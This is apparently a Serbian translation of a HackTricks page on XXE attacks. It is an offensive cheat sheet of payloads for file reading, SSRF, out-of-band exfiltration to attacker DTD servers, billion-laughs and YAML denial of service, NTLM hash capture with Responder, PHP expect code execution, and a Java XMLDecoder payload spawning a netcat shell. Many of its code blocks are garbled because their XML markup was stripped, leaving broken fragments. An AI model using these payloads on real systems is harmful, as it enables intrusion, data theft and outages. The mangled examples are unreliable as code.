# XXE - XEE - XML Spoljni Entitet
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
## Osnove XML-a
XML je označni jezik dizajniran za skladištenje i prenos podataka, sa fleksibilnom strukturom koja omogućava korišćenje opisno nazvanih oznaka. Razlikuje se od HTML-a po tome što nije ograničen na skup unapred definisanih oznaka. Značaj XML-a je opao sa porastom JSON-a, uprkos njegovoj početnoj ulozi u AJAX tehnologiji.
* **Prikaz podataka putem Entiteta**: Entiteti u XML-u omogućavaju prikaz podataka, uključujući posebne karaktere poput `<` i `>`, koji odgovaraju `<` i `>` kako bi se izbegli konflikti sa XML-ovim sistemom oznaka.
* **Definisanje XML elemenata**: XML omogućava definisanje tipova elemenata, opisujući kako bi elementi trebalo da budu strukturirani i koji sadržaj mogu sadržati, od bilo kog tipa sadržaja do specifičnih podređenih elemenata.
* **Definicija Tipa Dokumenta (DTD)**: DTD-ovi su ključni u XML-u za definisanje strukture dokumenta i tipova podataka koje može sadržati. Mogu biti interni, eksterni ili kombinovani, vodeći načinom formatiranja i validacije dokumenata.
* **Prilagođeni i Spoljni Entiteti**: XML podržava kreiranje prilagođenih entiteta unutar DTD-a za fleksibilno prikazivanje podataka. Spoljni entiteti, definisani URL-om, izazivaju sigurnosne probleme, posebno u kontekstu napada spoljnim XML entitetima (XXE), koji iskorišćavaju način na koji XML parseri obrađuju spoljne izvore podataka: ` ]>`
* **Detekcija XXE sa Parametarskim Entitetima**: Za otkrivanje XXE ranjivosti, posebno kada konvencionalne metode ne uspevaju zbog sigurnosnih mera parsera, mogu se koristiti XML parametarski entiteti. Ovi entiteti omogućavaju tehniku detekcije van opsega, poput pokretanja DNS upita ili HTTP zahteva ka kontrolisanom domenu, radi potvrde ranjivosti.
* ` ]>`
* ` ]>`
## Glavni napadi
[**Većina ovih napada je testirana korišćenjem sjajnih Portswiggers XEE laboratorija: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### Test Novog Entiteta
U ovom napadu testiraću da li jednostavna deklaracija novog ENTITETA radi
```xml
]>
&toreplace;1
```
### Čitanje fajla
Pokušajmo da pročitamo `/etc/passwd` na različite načine. Za Windows možete pokušati da pročitate: `C:\windows\system32\drivers\etc\hosts`
U ovom prvom slučaju, obratite pažnju da će "_\*\*file:///\*\*etc/passwd_" takođe raditi za sistem "_\*\*file:///\*\*etc/passwd_".
```xml
]>
&example;
```
Ovaj drugi slučaj može biti koristan za izvlačenje fajla ako web server koristi PHP (Nije slučaj Portswiggers labova)
```xml
]>
&example;
```
U ovom trećem slučaju primetite da deklarišemo `Element stockCheck` kao ANY
```xml
]>
&file;1
```
### Listing direktorijuma
U **Java** baziranim aplikacijama moguće je **izlistati sadržaj direktorijuma** putem XXE sa payload-om poput (samo traženje direktorijuma umesto fajla):
```xml
]>&xxe;
]>&xxe;
```
### SSRF
XXE može biti korišćen za zloupotrebu SSRF unutar oblaka
```xml
]>
&xxe;1
```
### Slepa SSRF
Korišćenjem **prethodno komentovane tehnike** možete naterati server da pristupi serveru koji kontrolišete kako biste pokazali da je ranjiv. Međutim, ako to ne funkcioniše, možda je zato što **XML entiteti nisu dozvoljeni**, u tom slučaju možete pokušati koristiti **XML parametarske entitete**:
```xml
%xxe; ]>
3;1
```
### "Slepi" SSRF - Izfiltriranje podataka van opsega
**U ovom slučaju ćemo naterati server da učita novi DTD sa zlonamernim payloadom koji će poslati sadržaj fajla putem HTTP zahteva (**za **višelinijske fajlove možete pokušati da ih izfiltrirate putem** _**ftp://**_ **koristeći ovaj osnovni server na primer [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ovo objašnjenje se zasniva na** [**Portswiggers lab ovde**](https://portswigger.net/web-security/xxe/blind)**.**
U datom zlonamernom DTD-u, sprovode se niz koraka za izfiltriranje podataka:
### Primer zlonamernog DTD-a:
Struktura je sledeća:
```xml
">
%eval;
%exfiltrate;
```
Koraci koje izvršava ovaj DTD uključuju:
1. **Definicija parametarskih entiteta:**
* Kreira se XML parametarski entitet, `%file`, koji čita sadržaj fajla `/etc/hostname`.
* Definiše se još jedan XML parametarski entitet, `%eval`. Dinamički deklariše novi XML parametarski entitet, `%exfiltrate`. Entitet `%exfiltrate` je podešen da napravi HTTP zahtev ka serveru napadača, prosleđujući sadržaj entiteta `%file` u upitu URL adrese.
2. **Izvršavanje entiteta:**
* Koristi se entitet `%eval`, što dovodi do izvršavanja dinamičke deklaracije entiteta `%exfiltrate`.
* Zatim se koristi entitet `%exfiltrate`, pokrećući HTTP zahtev ka određenoj URL adresi sa sadržajem fajla.
Napadač postavlja ovaj zlonamerni DTD na serveru pod svojom kontrolom, obično na URL adresi poput `http://web-napadac.com/zlonamerni.dtd`.
**XXE Payload:** Da bi iskoristio ranjivu aplikaciju, napadač šalje XXE payload:
```xml
%xxe;]>
3;1
```
Ova payload definise XML parametarski entitet `%xxe` i inkorporira ga unutar DTD-a. Kada ga procesuira XML parser, ovaj payload dohvata spoljni DTD sa servera napadača. Parser zatim tumači DTD u liniji, izvršavajući korake navedene u zlonamernom DTD-u i dovodeći do ekstrakcije fajla `/etc/hostname` na server napadača.
### Bazirano na Grešci (Spoljni DTD)
**U ovom slučaju ćemo naterati server da učita zlonamerni DTD koji će prikazati sadržaj fajla unutar poruke o grešci (ovo je validno samo ako možete videti poruke o grešci).** [**Primer odavde.**](https://portswigger.net/web-security/xxe/blind)
Poruka o grešci pri parsiranju XML-a, otkriva sadržaj fajla `/etc/passwd`, može biti izazvana korišćenjem zlonamernog spoljnog Document Type Definition (DTD). Ovo se postiže kroz sledeće korake:
1. Definiše se XML parametarski entitet nazvan `file`, koji sadrži sadržaj fajla `/etc/passwd`.
2. Definiše se XML parametarski entitet nazvan `eval`, inkorporirajući dinamičku deklaraciju za drugi XML parametarski entitet nazvan `error`. Ovaj entitet `error`, kada se evaluira, pokušava da učita nepostojeći fajl, inkorporirajući sadržaj `file` entiteta kao njegovo ime.
3. Poziva se entitet `eval`, dovodeći do dinamičke deklaracije entiteta `error`.
4. Pozivanje entiteta `error` rezultira pokušajem učitavanja nepostojećeg fajla, proizvodeći poruku o grešci koja uključuje sadržaj fajla `/etc/passwd` kao deo imena fajla.
Zlonamerni spoljni DTD može biti pozvan korišćenjem sledećeg XML-a:
```xml
%xxe;]>
3;1
```
### **Zasnovano na greškama (sistemski DTD)**
Šta je sa slepim XXE ranjivostima kada su **interakcije van opsega blokirane** (spoljašnje veze nisu dostupne)?.
Rupa u specifikaciji XML jezika može **izložiti osetljive podatke putem poruka o greškama kada se DTD dokumenta meša interne i eksterne deklaracije**. Ovaj problem omogućava unutrašnje predefinisanje entiteta deklarisanih spolja, olakšavajući izvršenje napada XXE zasnovanih na greškama. Takvi napadi iskorišćavaju predefinisanje XML parametarskog entiteta, koji je prvobitno deklarisan u spoljnom DTD-u, unutar internog DTD-a. Kada su spoljašnje veze blokirane od strane servera, napadači moraju da se oslone na lokalne DTD datoteke kako bi sproveli napad, sa ciljem izazivanja greške u parsiranju radi otkrivanja osetljivih informacija.
Razmotrite scenarijo u kojem sistemski fajl servera sadrži DTD fajl na lokaciji `/usr/local/app/schema.dtd`, koji definiše entitet nazvan `custom_entity`. Napadač može izazvati grešku u parsiranju XML-a otkrivajući sadržaj fajla `/etc/passwd` podnošenjem hibridnog DTD-a na sledeći način:
```xml
">
%eval;
%error;
'>
%local_dtd;
]>
```
Izvršene su navedene korake ovim DTD-om:
* Definicija XML parametarskog entiteta nazvanog `local_dtd` uključuje eksterni DTD fajl smešten na serverskom fajl sistemu.
* Dolazi do redefinicije XML parametarskog entiteta `custom_entity`, koji je prvobitno definisan u eksternom DTD-u, kako bi obuhvatio [exploit zasnovan na XXE grešci](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ova redefinicija je osmišljena da izazove grešku pri parsiranju, otkrivajući sadržaj fajla `/etc/passwd`.
* Korišćenjem entiteta `local_dtd`, angažuje se eksterni DTD, obuhvatajući novo definisani `custom_entity`. Ova sekvenca radnji izaziva emitovanje greške koju exploit cilja.
**Primer iz stvarnog sveta:** Sistemi koji koriste GNOME desktop okruženje često imaju DTD na lokaciji `/usr/share/yelp/dtd/docbookx.dtd` koji sadrži entitet nazvan `ISOamso`.
```xml
">
%eval;
%error;
'>
%local_dtd;
]>
3;1
```
Kako ova tehnika koristi **unutrašnji DTD, prvo morate pronaći validan**. To možete uraditi **instaliranjem** istog **OS / softvera** koji server koristi i **pretraživanjem nekih podrazumevanih DTD-ova**, ili **preuzimanjem liste** podrazumevanih DTD-ova unutar sistema i **proverom** da li neki od njih postoji:
```xml
%local_dtd;
]>
```
Za više informacija pogledajte [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
### Pronalaženje DTD-ova unutar sistema
U sledećem sjajnom github repozitorijumu možete pronaći **putanje DTD-ova koji mogu biti prisutni u sistemu**:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
Osim toga, ako imate **Docker sliku žrtvenog sistema**, možete koristiti alat istog repozitorijuma da **skenirate** **sliku** i **pronađete** putanju **DTD-ova** prisutnih unutar sistema. Pročitajte [Readme na github-u](https://github.com/GoSecure/dtd-finder) da saznate kako.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### XXE putem analizatora Office Open XML
Za detaljnije objašnjenje ovog napada, **proverite drugi odeljak** [**ove neverovatne objave**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **iz Detectify-a**.
Mogućnost **učitavanja Microsoft Office dokumenata nudi se u mnogim web aplikacijama**, koje zatim izvlače određene detalje iz ovih dokumenata. Na primer, web aplikacija može dozvoliti korisnicima da uvezu podatke učitavanjem tabele u XLSX formatu. Da bi analizator izvukao podatke iz tabele, neizbežno će morati da analizira barem jedan XML fajl.
Da biste testirali ovu ranjivost, potrebno je kreirati **Microsoft Office fajl koji sadrži XXE payload**. Prvi korak je kreiranje praznog direktorijuma u koji će dokument biti raspakovan.
Kada je dokument raspakovan, XML fajl lociran na `./unzipped/word/document.xml` treba da se otvori i izmeni u željenom tekst editoru (kao što je vim). XML treba da se izmeni da uključi željeni XXE payload, često počevši sa HTTP zahtevom.
Izmenjene linije XML-a treba da se ubace između dva korena XML objekta. Važno je zameniti URL sa URL-om koji se može pratiti zahtevima.
Na kraju, fajl se može zapakovati da se kreira zlonamerni poc.docx fajl. Iz prethodno kreiranog direktorijuma "unzipped", treba pokrenuti sledeću komandu:
Sada se kreirani fajl može učitati na potencijalno ranjivu web aplikaciju, i može se nadati da će zahtev biti prikazan u Burp Collaborator logovima.
### Jar: protokol
**Jar** protokol je dostupan isključivo unutar **Java aplikacija**. Namenski je dizajniran da omogući pristup fajlovima unutar **PKZIP** arhive (npr. `.zip`, `.jar`, itd.), podržavajući lokalne i udaljene fajlove.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
Da biste mogli da pristupite datotekama unutar PKZIP datoteka je **izuzetno korisno zloupotrebiti XXE putem sistema DTD datoteka.** Proverite [ovaj odeljak da biste naučili kako da zloupotrebite sistem DTD datoteke](xxe-xee-xml-external-entity.md#error-based-system-dtd).
{% endhint %}
Proces pristupa datoteci unutar PKZIP arhive putem jar protokola uključuje nekoliko koraka:
1. Napravljen je HTTP zahtev za preuzimanje zip arhive sa određene lokacije, kao što je `https://download.website.com/archive.zip`.
2. HTTP odgovor koji sadrži arhivu privremeno se čuva na sistemu, obično na lokaciji poput `/tmp/...`.
3. Arhiva se zatim raspakuje kako bi se pristupilo njenom sadržaju.
4. Konkretna datoteka unutar arhive, `file.zip`, se čita.
5. Nakon operacije, sve privremene datoteke kreirane tokom ovog procesa se brišu.
Interesantna tehnika za prekid ovog procesa u drugom koraku uključuje održavanje otvorene server konekcije neograničeno dok se servira arhivska datoteka. Alati dostupni na [ovom repozitorijumu](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) mogu se koristiti u tu svrhu, uključujući Python server (`slow_http_server.py`) i Java server (`slowserver.jar`).
```xml
]>
&xxe;
```
{% hint style="danger" %}
Pisanje datoteka u privremeni direktorijum može pomoći u **povećanju druge ranjivosti koja uključuje prolazak putanje** (kao što su lokalno uključivanje datoteka, ubacivanje predložaka, XSLT RCE, deserijalizacija, itd).
{% endhint %}
### XSS
```xml
script]]>alert(1)/script]]>
```
### DoS
#### Napad Milijardu Smeha
```xml
]>
&a4;
```
#### Yaml Napad
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### Napad kvadratnog naduvavanja
![](<../.gitbook/assets/image (531).png>)
#### Dobijanje NTML-a
Na Windows hostovima moguće je dobiti NTML heš korisnika veb servera postavljanjem responder.py handler-a:
```bash
Responder.py -I eth0 -v
```
i slanjem sledećeg zahteva
```xml
]>
&example;
```
## Skriveni XXE površinski
### XInclude
Prilikom integracije klijentskih podataka u serverske XML dokumente, poput onih u pozadinskim SOAP zahtevima, direktna kontrola nad XML strukturom često je ograničena, ometajući tradicionalne XXE napade zbog ograničenja u modifikaciji `DOCTYPE` elementa. Međutim, `XInclude` napad pruža rešenje omogućavajući umetanje spoljnih entiteta unutar bilo kog podatkovnog elementa XML dokumenta. Ovaj metod je efikasan čak i kada se može kontrolisati samo deo podataka unutar serverski generisanog XML dokumenta.
Za izvođenje `XInclude` napada, `XInclude` namespace mora biti deklarisan, a putanja datoteke za namenjeni spoljni entitet mora biti navedena. U nastavku je sažet primer kako se takav napad može formulisati:
```xml
productId=&storeId=1
```
Proverite [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) za više informacija!
### SVG - Slanje datoteka
Datoteke koje korisnici otpremaju na određene aplikacije, a zatim se obrađuju na serveru, mogu iskoristiti ranjivosti u načinu na koji se XML ili datoteke koje sadrže XML obrađuju. Uobičajeni formati datoteka poput kancelarijskih dokumenata (DOCX) i slika (SVG) zasnovani su na XML-u.
Kada korisnici **pošalju slike**, te slike se obrađuju ili proveravaju na serveru. Čak i za aplikacije koje očekuju formate poput PNG ili JPEG, **biblioteka za obradu slika na serveru takođe može podržavati SVG slike**. SVG, kao format zasnovan na XML-u, može biti iskorišćen od strane napadača za slanje zlonamernih SVG slika, čime se server izlaže ranjivostima na XXE (XML External Entity).
Primer takvog napada je prikazan ispod, gde zlonamerna SVG slika pokušava da pročita sistemsku datoteku:
```xml
```
Još jedna metoda uključuje pokušaj **izvršavanja komandi** putem PHP "expect" omotača:
```xml
```
U oba slučaja, SVG format se koristi za pokretanje napada koji iskorišćavaju mogućnosti obrade XML-a softvera servera, ističući potrebu za robustnom validacijom unosa i sigurnosnim merama.
Proverite [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) za više informacija!
**Napomena: Prva linija pročitanog fajla ili rezultata izvršenja će se pojaviti UNUTAR kreiranog slike. Dakle, morate moći da pristupite slici koju je SVG kreirao.**
### **PDF - Upload fajla**
Pročitajte sledeći post da **saznate kako iskoristiti XXE za uploadovanje PDF fajla**:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}
### Content-Type: Od x-www-urlencoded do XML
Ako POST zahtev prihvata podatke u XML formatu, možete pokušati da iskoristite XXE u tom zahtevu. Na primer, ako normalan zahtev sadrži sledeće:
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
```
Zatim biste mogli podneti sledeći zahtev, sa istim rezultatom:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
bar
```
### Content-Type: Od JSON-a do XEE
Da biste promenili zahtev, možete koristiti Burp ekstenziju pod nazivom "**Content Type Converter**". [Ovde](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) možete pronaći ovaj primer:
```xml
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```
```xml
Content-Type: application/xml;charset=UTF-8
]>
&xxe;United Statesdddddd
```
Drugi primer može se pronaći [ovde](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
## Bypass-ovanje WAF-a i zaštita
### Base64
```xml
%init; ]>
```
Ovo radi samo ako XML server prihvata `data://` protokol.
### UTF-7
Možete koristiti \[**"Encode Recipe**" of cyberchef ovde ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformisati u UTF-7.
```xml
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```
```xml
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### Bypass protokola File:/
Ako web koristi PHP, umesto korišćenja `file:/` možete koristiti **php omotače** `php://filter/convert.base64-encode/resource=` da **pristupite internim fajlovima**.
Ako web koristi Java, možete proveriti [**jar: protokol**](xxe-xee-xml-external-entity.md#jar-protocol).
### HTML Entiteti
Triks sa [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Možete kreirati **entitet unutar entiteta** enkodirajući ga sa **html entitetima** i zatim ga pozvati da **učita dtd**.\
Imajte na umu da **HTML Entiteti** koji se koriste moraju biti **numerički** (kao \[u ovom primeru]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
```xml
%a;%dtd;]>
&exfil;
```
DTD primer:
```xml
">
%abt;
%exfil;
```
## PHP Omotači
### Base64
**Izvuci** _**index.php**_
```xml
]>
```
#### **Izdvajanje spoljnih resursa**
```xml
]>
```
### Izvršenje udaljenog koda
**Ako je učitan PHP modul "expect"**
```xml
]>
&xxe;mypass
```
## **SOAP - XEE**
```xml
%dtd;]>]]>
```
## XLIFF - XXE
Ovaj primer je inspirisan [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Localization Interchange File Format) se koristi za standardizaciju razmene podataka u procesima lokalizacije. To je format zasnovan na XML-u koji se uglavnom koristi za prenos lokalizovanih podataka između alata tokom lokalizacije i kao zajednički format razmene za CAT (računarski podržani prevod) alate.
### Analiza slepe zahteve
Zahtev je poslat serveru sa sledećim sadržajem:
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
%remote; ]>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Međutim, ovaj zahtev pokreće internu serversku grešku, posebno pominjući problem sa deklaracijama obeležja:
```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
I pored greške, zabeležen je pogodak na Burp Collaborator-u, što ukazuje na određeni nivo interakcije sa spoljnom entitetom.
Izvantrakačno Izvlačenje Podataka Za izvlačenje podataka, šalje se modifikovan zahtev:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
%remote; ]>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Ovaj pristup otkriva da User Agent pokazuje korišćenje Java 1.8. Primećeno ograničenje ove verzije Jave je nemogućnost povlačenja datoteka koje sadrže znak nove linije, poput /etc/passwd, korišćenjem Out of Band tehnike.
Izvođenje podataka zasnovano na greškama Da bi se prevazišlo ovo ograničenje, koristi se pristup zasnovan na greškama. DTD datoteka je strukturirana na sledeći način kako bi izazvala grešku koja uključuje podatke iz ciljne datoteke:
```xml
">
%foo;
%xxe;
```
Server odgovara greškom, važno je da odražava nepostojeći fajl, što ukazuje da server pokušava da pristupi navedenom fajlu:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
Da biste uključili sadržaj datoteke u poruku o grešci, prilagođena je DTD datoteka:
```xml
">
%foo;
%xxe;
```
Ova modifikacija dovodi do uspešne ekstrakcije sadržaja datoteke, kako je prikazano u izlaznoj grešci poslatoj putem HTTP-a. Ovo ukazuje na uspešan XXE (XML External Entity) napad, koristeći i Out of Band i Error-Based tehnike za izvlačenje osetljivih informacija.
## RSS - XEE
Validan XML u RSS formatu za iskorišćavanje XXE ranjivosti.
### Ping back
Jednostavan HTTP zahtev ka serveru napadača
```xml
/rssXXE" >]>
XXE Test Blog
http://example.com/
XXE Test BlogMon, 02 Feb 2015 00:00:00 -0000&xxe;
http://example.com
Test Postauthor@example.comMon, 02 Feb 2015 00:00:00 -0000
```
### Čitanje fajla
```xml
]>
The Blog
http://example.com/
A blog about thingsMon, 03 Feb 2014 00:00:00 -0000&xxe;
http://example.com
a postauthor@example.comMon, 03 Feb 2014 00:00:00 -0000
```
### Čitanje izvornog koda
Korišćenjem PHP base64 filtera
```xml
]>
The Blog
http://example.com/
A blog about thingsMon, 03 Feb 2014 00:00:00 -0000&xxe;
http://example.com
a postauthor@example.comMon, 03 Feb 2014 00:00:00 -0000
```
## Java XMLDecoder XEE to RCE
XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonamerni korisnik može naterati aplikaciju da koristi proizvoljne podatke u pozivu metode **readObject**, odmah će dobiti izvršenje koda na serveru.
### Korišćenje Runtime().exec()
```xml
```
### ProcessBuilder
### ProcessBuilder
```xml
/usr/bin/nc-l-p9999-e/bin/sh
```
## Alatke
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
## Reference
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
* Izvlačenje informacija putem HTTP-a korišćenjem sopstvenog eksternog DTD-a: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.